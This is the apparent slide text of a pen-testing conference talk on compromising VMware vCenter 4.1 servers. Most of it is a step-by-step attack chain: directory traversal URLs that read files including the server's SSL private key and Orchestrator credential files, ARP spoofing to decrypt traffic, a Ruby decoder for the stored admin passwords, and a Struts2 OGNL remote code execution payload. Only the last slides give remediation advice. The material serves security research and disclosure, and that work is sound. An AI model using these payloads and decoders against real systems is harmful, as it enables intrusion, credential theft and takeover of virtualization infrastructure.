Invest in security
to secure investments

How to hack VMware vCenter server in 60 seconds

Alexander Minozhenko
• Pen-tester at Digital Security

• Researcher

• DCG#7812 / Zeronights

• CTF

• Thanks for ideas and support to Alexey Sintsov
What do pen-testers do?

- Scanning
- Fingerprinting
- Banner grabbing
- Play with passwords
- Find vulns.
- Exploit vulns.
- Escalate privs.
- Dig in
- Find ways to make attacks
- And e.t.c.
Find vulns.

- **Static**
  - Source code review
    - regexp
    - formal methods
    - hand testing
  - Reverse Engineering
    - formal methods
    - hands...
- **Dynamic**
  - Fuzzing (bin/web)
    + Typical bugs for class
    + Reverse Engineering
  - Hand testing
- **Architecture Analysis (Logic flaws)**
- **Use vuln. Database (CVE/exploit-db/etc)**
Pen-tester env.

Tasks:

• pwn target 8)
• show most dang. vulns.
→ show real attacks and what an attacker can do

Time:

Not much )

Targets:

Large number of targets, different types
Find vulns.

- **Static**
  - Source code review
    - regexp
    - formal methods
    - hand testing
  - Reverse Engineering
    - formal methods
    - hands...
- **Dynamic**
  - Fuzzing (bin/web)
    + Typical bugs for class
    + Reverse Engineering
  - Hand testing
- **BlackBox**
- **Not much time**

- Architecture Analysis (Logic flaws)
- Use vuln. Database (CVE/exploit-db/etc)
Target

Diagram showing a network with ESXi Host, vCenter Server, Virtual File Server, Virtual Exchange Server, Virtual Web Server, Virtual Host Management Network, and Workstations.
VMware vCenter Server

• VMware vCenter Server is solution to manage VMware vSphere

• vSphere – virtualization operating system
• Vmware vCenter version 4.1 update 1
• Services:
  – Update Manager
  – vCenter Orchestrator
  – Chargeback
  – Other
• Each services has web server
- Directory traversal in Jetty web server
- http://target:9084/vci/download/health.xml/%3f/../../..../FILE
- Discovered by Claudio Criscione
- But Fixed in VMware Update Manager 4.1 update 1 :(
Directory traversal..again?

- Directory traversal in Jetty web server
- [http://target:9084/vci/download/%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..\FILE.EXT](http://target:9084/vci/download/%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..\FILE.EXT)
- Discovered by Alexey Sintsov
- Metasploit module vmware_update_manager_traversal.rb by sinn3r
Directory traversal

• What file to read?
  • Claudio Criscione propose to read $\text{vpxd-profiler-}^* -$
    
    $\langle \text{SessionStats/SessionPool/Session/Id='06B90BCB-A0A4-4B9C-B680-FB72656A1DCB'/Username=\"FakeDomain/FakeUser'/SoapSession/Id='AD45B176-63F3-4421-BBF0-FE1603E543F4'/Count/total 1\rangle$

• Contains logs of SOAP requests with session ID
“VASTO — collection of Metasploit modules meant to be used as a testing tool to perform penetration tests or security audit of virtualization solutions.”
http://vasto.nibblesec.org/

• vmware_updatemanager_traversal.rb
  Jetty path traversal

• vmware_session_rider.rb
  Local proxy to ride stolen SOAPID sessions
• Fixed in version 4.1 update 1,
• contain ip-addresses
• Make arp poisoning attack
• Spoof ssl certificate
• Administrators check SSL cert
• Steal ssl key via directory traversal

http://target:9084/vci/downloads/..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key

• Make arp-spoofing

• Decrypt traffic with stolen ssl key

• What if arp-spoofing does not work?
• Vmware vCO – software for automate configuration and management
• Install by default with vCenter
• Have interesting file
  C:\Program files\VMware\Infrastructure\Orchestrator\configuration\jetty\etc\passwd.properties
Vmware vCenter Orchestrator

- Which contains md5 password without salt
- Could easy bruteforce using rainbow tables
We get in

VMware vCenter Orchestrator Configuration

General
Network
LDAP
Database
Server Certificate
Licenses
Startup Options
Log
Troubleshooting
Plug-ins
Mail (1.1.0)
SSH (1.0.2)
vCenter 4.0 (4.0.0)

VMware Virtual Infrastructure

Available: Enabled
Host: new-virtual-center-host
Port: 443
Secure channel
Path: /sdk

Specify the user credential for the admir
User name: vmware
Password: ***************

Specify which strategy will be used for
Share a unique session:  On
User name:
Password:
Plain text passwords

```html
<div id="c_content">
  <form namespace="/config_plugin" id="PluginSave" name="PluginSave" onsubmit="return validateForm_PluginSave();" action="/config_plugin/PluginSave.action" method="POST">
    <!-- form content -->
    <input type="password" name="installPassword" value="Password01," id="PluginSave_installPassword">
  </form>
</div>
```
• vCO stored password at files:
  • C:\\Program
  Files\\VMware\\Infrastructure\\Orchestrator\app-
  server\server\vmo\conf\plugins\VC.xml
  • C:\\Program
  Files\\VMware\\Infrastructure\\Orchestrator\app-
  server\server\vmo\conf\vmo.properties
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<virtual-infrastructure-hosts>
  <virtual-infrastructure-host>
    <enabled>true</enabled>
    <url>https://new-virtual-center-host:443/sdk</url>
    <administrator-username>vmware</administrator-username>
    <administrator-password>010506275767b74786b383a4a60be767864740329d5fcf324ec7fc98b1e0aaeef</administrator-password>
    <pattern>%u</pattern>
  </virtual-infrastructure-host>
</virtual-infrastructure-hosts>
Password Encoding

006766e7964766a151e213a242665123568256c4031702d4c78454e5b5f60654b
vmware

00776646771786a783922145215445b62322d1a2b5d6e196a6a712d712e24726079
vcenter

- Red bytes look like length
- Green bytes in ASCII range
- Black bytes random
```java
for (int i = 0; i < nbDigits; i++) {
    int value = 0;
    if (i < pwd.length()) {
        value = pwd.charAt(i);
        // Take i-th password symbol
    }
    else {
        value = Math.abs(rnd.nextInt() % 100);
        // Take random byte
    }
    String toAdd = Integer.toHexString(value + i);
    // i-th password symbol + position of symbol
    result.append(toAdd);
```
len = (pass[0..2]).to_i
enc_pass = pass[3..-1].scan(/.{2}/)
dec_pass = (0...len).collect do |i|
  byte = enc_pass[i].to_i(16)
  byte -= i
byte.chr
end
- VMware vCenter Orchestrator use Struts2 version 2.11 discovered by Digital Defense, Inc
- CVE-2010-1870 Struts2/XWork remote command execution discovered by Meder Kydyraliev
- Fixed in 4.2
Example exploit

```java
#memberAccess["allowStaticMethodAccess"] = true
#foo = new java.lang.Boolean("false")
#context["xwork.MethodAccessor.denyMethodExecution"] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('calc.exe')
```
• Directory traversal + ARP poisoning
• Directory traversal + password decoding/brute forcing
• Remote code execution using Struts2 bug
• Update to latest version 4.2 update 4 or 5
• Filter administration service services
• VMware KB 2021259.
• VMware vSphere Security Hardering Guide
Conclusions

- Password must be stored in hash with salt or encrypted
- Fixed bugs not always fixed in proper way
- Pen-tester will get more profit if he tries to research something
- One simple bug and we can own all infrastructure
Thank you!

a.minozhenko@dsec.ru
@al3xmin